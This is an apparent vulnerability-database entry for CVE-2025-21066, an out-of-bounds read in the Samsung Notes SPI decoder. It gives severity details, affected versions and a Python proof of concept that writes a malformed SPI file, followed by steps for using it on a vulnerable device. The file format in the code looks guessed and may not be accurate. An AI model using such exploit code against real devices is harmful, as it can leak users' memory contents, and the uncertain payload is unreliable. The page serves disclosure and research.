Security Vulnerability Report
中文
CVE-2025-21066 CVSS 4.0 MEDIUM

CVE-2025-21066

Published: 2025-10-10 07:15:43
Last Modified: 2025-10-16 18:41:57

Description

Out-of-bounds read in the SPI decoder in Samsung Notes prior to version 4.4.30.63 allows local attackers to access out-of-bounds memory.

CVSS Details

CVSS Score
4.0
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N

Configurations (Affected Products)

cpe:2.3:a:samsung:notes:*:*:*:*:*:*:*:* - VULNERABLE
Samsung Notes < 4.4.30.63

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
# CVE-2025-21066 - Samsung Notes SPI Decoder Out-of-Bounds Read PoC # This PoC demonstrates the concept of triggering an OOB read in the SPI decoder # Note: Actual exploitation requires local access to a vulnerable Samsung Notes installation import struct import os def create_malicious_spi_payload(): """ Create a crafted SPI-format payload that triggers out-of-bounds read in Samsung Notes SPI decoder (versions < 4.4.30.63). """ # SPI header structure (simplified representation) # Magic bytes to identify SPI format magic = b'\x53\x50\x49\x00' # "SPI\x00" # Version field version = struct.pack('<H', 1) # Crafted width/height values to cause buffer overflow # Setting abnormally large dimensions triggers OOB read during decoding width = struct.pack('<I', 0xFFFF) # Width = 65535 height = struct.pack('<I', 0xFFFF) # Height = 65535 # Data offset and length data_offset = struct.pack('<I', 0x10) data_length = struct.pack('<I', 0xFFFFFFFF) # Intentionally large length # Malicious payload data - padding to trigger OOB access malicious_data = b'\x41' * 256 # Construct the full payload payload = magic + version + width + height + data_offset + data_length payload += malicious_data return payload def save_as_note_attachment(payload, filename="malicious_note.spx"): """ Save the crafted payload as a Samsung Notes attachment. In a real attack scenario, this would be embedded in a .sdocx or similar Samsung Notes document format. """ with open(filename, 'wb') as f: f.write(payload) print(f"[+] Malicious SPI payload saved to {filename}") print(f"[+] Payload size: {len(payload)} bytes") print(f"[!] To exploit: Open this file with Samsung Notes < 4.4.30.63") print(f"[!] The SPI decoder will attempt to read beyond buffer boundaries") if __name__ == "__main__": print("=" * 60) print("CVE-2025-21066 PoC - Samsung Notes SPI Decoder OOB Read") print("Affected: Samsung Notes < 4.4.30.63") print("=" * 60) payload = create_malicious_spi_payload() save_as_note_attachment(payload) print("\n[*] Exploitation steps:") print(" 1. Transfer the malicious file to a vulnerable Samsung device") print(" 2. Open the file with Samsung Notes application") print(" 3. The SPI decoder will trigger OOB read vulnerability") print(" 4. Monitor memory access patterns to extract leaked data")

References

Raw JSON Data

JSON
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